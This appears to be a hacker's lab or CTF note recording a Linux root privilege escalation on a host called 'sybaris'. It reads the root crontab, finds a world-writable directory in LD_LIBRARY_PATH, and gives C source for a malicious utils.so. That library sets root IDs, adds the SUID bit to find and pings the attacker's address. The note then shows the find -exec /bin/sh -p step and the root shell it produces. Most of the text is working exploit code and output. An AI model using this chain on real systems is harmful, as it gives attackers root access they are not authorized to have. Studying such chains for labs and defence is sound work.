6 privesc cron

[pablo@sybaris ~]$ cat /etc/crontab
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
LD_LIBRARY_PATH=/usr/lib:/usr/lib64:/usr/local/lib/dev:/usr/local/lib/utils
MAILTO=""

# For details see man 4 crontabs

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name  command to be executed
  *  *  *  *  * root       /usr/bin/log-sweeper

# runs every minute

[pablo@sybaris ~]$ ls -la /usr/bin/log-sweeper
-rwxr-xr-x. 1 root root 8800 Sep  4  2020 /usr/bin/log-sweeper

[pablo@sybaris ~]$ /usr/bin/log-sweeper
/usr/bin/log-sweeper: error while loading shared libraries: utils.so: cannot open shared object file: No such file or directory

# finding writable path in LD_LIBRARY_PATH:
[pablo@sybaris ~]$ ls -la /usr/local/lib/dev/
total 0
drwxrwxrwx  2 root root  6 Sep  7  2020 .
drwxr-xr-x. 4 root root 30 Sep  7  2020 ..

# Using code from linux_privesc (ld_library_path shell)
# include <stdio.h>
# include <stdlib.h>
# include <sys/types.h>

static void kashz() __attribute__((constructor));
void kashz() {
	unsetenv("LD_LIBRARY_PATH");
	setresuid(0,0,0);
	system("chmod +s /usr/bin/find");
	system("ping 192.168.49.201 -c 2");
}
# compile it
$ sudo tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
19:19:02.893410 IP 192.168.201.93 > 192.168.49.201: ICMP echo request, id 1886, seq 1, length 64
19:19:02.893429 IP 192.168.49.201 > 192.168.201.93: ICMP echo reply, id 1886, seq 1, length 64
19:19:03.895059 IP 192.168.201.93 > 192.168.49.201: ICMP echo request, id 1886, seq 2, length 64
19:19:03.895070 IP 192.168.49.201 > 192.168.201.93: ICMP echo reply, id 1886, seq 2, length 64

# worked

[pablo@sybaris dev]$ ls -la /usr/bin/find
-rwsr-sr-x. 1 root root 199304 Oct 30  2018 /usr/bin/find

[pablo@sybaris dev]$ /usr/bin/find . -exec /bin/sh -p \; -quit
sh-4.2# whoami;id
root
uid=1000(pablo) gid=1000(pablo) euid=0(root) egid=0(root) groups=0(root),1000(pablo)